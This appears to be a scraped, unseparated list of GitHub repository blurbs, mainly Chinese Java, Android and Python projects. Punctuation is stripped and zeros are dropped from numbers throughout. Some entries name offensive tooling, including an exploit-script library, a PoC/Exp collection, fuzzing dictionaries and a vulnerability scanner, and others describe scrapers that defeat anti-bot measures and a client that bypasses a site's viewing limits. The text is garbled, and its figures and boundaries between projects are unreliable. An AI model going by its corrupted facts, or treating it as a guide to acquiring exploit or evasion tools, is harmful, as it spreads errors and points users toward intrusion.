RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github 